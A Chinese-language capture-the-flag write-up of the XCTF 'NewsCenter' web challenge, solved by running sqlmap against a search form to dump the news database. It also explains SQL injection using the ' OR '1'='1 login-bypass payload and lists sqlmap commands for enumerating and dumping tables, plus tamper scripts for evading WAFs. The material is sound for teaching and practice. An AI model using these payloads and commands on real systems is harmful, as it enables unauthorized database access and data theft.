XCTF攻防世界web进阶练习_ 1_NewsCenter

XCTF攻防世界web进阶练习—NewsCenter

题目

题目是NewsCenter,没有提示信息。
打开题目,有一处搜索框,搜索新闻。考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有什么变化,考虑SQL注入。
XCTF攻防世界web进阶练习_ 1_NewsCenter_第1张图片
随便输入123,用burp抓包,发现是post方式,因为sql注入技术太菜,直接用sqlmap爆破。
将http头保存为1.txt,试试用sqlmap爆数据库
sqlmap -r 1.txt -dbs
很快,爆出数据库
XCTF攻防世界web进阶练习_ 1_NewsCenter_第2张图片

查看news数据库内容sqlmap -r 1.txt -D news --dump
XCTF攻防世界web进阶练习_ 1_NewsCenter_第3张图片
得到flag!

关于用sqlmap实现sql注入

sql注入

维基百科:

SQL注入(英语:SQLnjection),也称SQL注入或SQL注码, 是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。

简言之,就是利用客户端对输入语句的检查或过滤不严,输入恶意sql语句,让客户端执行自己想要执行的语句,从而达到自己的目的

最简单的SQL注入例子:

假如某个网站的登录验证的SQL查询代码为

strSQL = " SELECT * FROM users WHERE (name = '$_GET["name"]') and (pw = '$_GET["pw"]'); "

恶意填入

?name = "1' OR '1'='1"& pw = "1' OR '1'='1";

时,将导致原本的SQL字符串被填为

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

也就是实际上运行的SQL命令会变成下面这样的

strSQL = "SELECT * FROM users;"

因此达到无账号密码,亦可登录网站。所以SQL注入被俗称为黑客的填空游戏。

当然,实际的sql注入肯定没这么简单
sql注入有很多方法,根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注等
参考:https://www.cnblogs.com/ssooking/p/8137597.html

sqlmap

简单介绍:
sqlmap是一个开源软件,用于检测和利用数据库漏洞,并提供将恶意代码注入其中的选项。
它是一种渗透测试工具,可自动检测和利用SQL注入漏洞,在终端中提供其用户界面。
该软件在命令行运行,可供不同操作系统下载:Linux发行版,Windows和Mac OS操作系统。
除了映射和检测漏洞之外,该软件还可以访问数据库,编辑和删除数据,以及查看表格中的数据,例如用户,密码,备份,电话号码,电子邮件地址,信用卡和其他机密和敏感信息。
sqlmap完全支持多个DBMS,包括MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird和SAP MaxDB。
并全面支持所有注入技术:布尔值,错误,堆栈,时间,联盟。

使用
根据sqlmap手册,分为

  • Options(选项)
  • Target(目标)
  • Request(请求)
  • Optimization(优化)
  • Injection(注入)
  • Detection(检测)
  • Techniques(技巧)
  • Fingerprint(指纹)
  • Enumeration(枚举)
  • Brute force(暴力破解)
  • User-defined function injection(用户自定义函数注入)
  • File system access(访问文件系统)
  • Operating system access(操作系统访问)
  • Windows注册表访问
  • General(一般)
  • Miscellaneous(杂项) 等多个部分,可见,sqlmap是一个非常强大的工具

常用的SQLmap语句

sqlmap -u "注入地址"     --dbs          // 列举数据库
sqlmap -u "注入地址" --tables -D "数据库" // 列举数据库的表名
sqlmap -u "注入地址" --columns -T "表名" -D "数据库" // 获取表的列名
sqlmap -u "注入地址" --dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的所有数据

sqlmap -r "含http头的文件"     --dbs          // 列举数据库
sqlmap -r "含http头的文件" --tables -D "数据库" // 列举数据库的表名
sqlmap -r "含http头的文件" --columns -T "表名" -D "数据库" // 获取表的列名
sqlmap -r "含http头的文件" --dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的所有数据

参考:http://zerlong.com/512.html

sqlmap还提供了 -tamper 选项,其中有大量脚本,可以用来花式绕waf

参考:http://www.myh0st.cn/index.php/archives/881/

你可能感兴趣的:(ctf_web)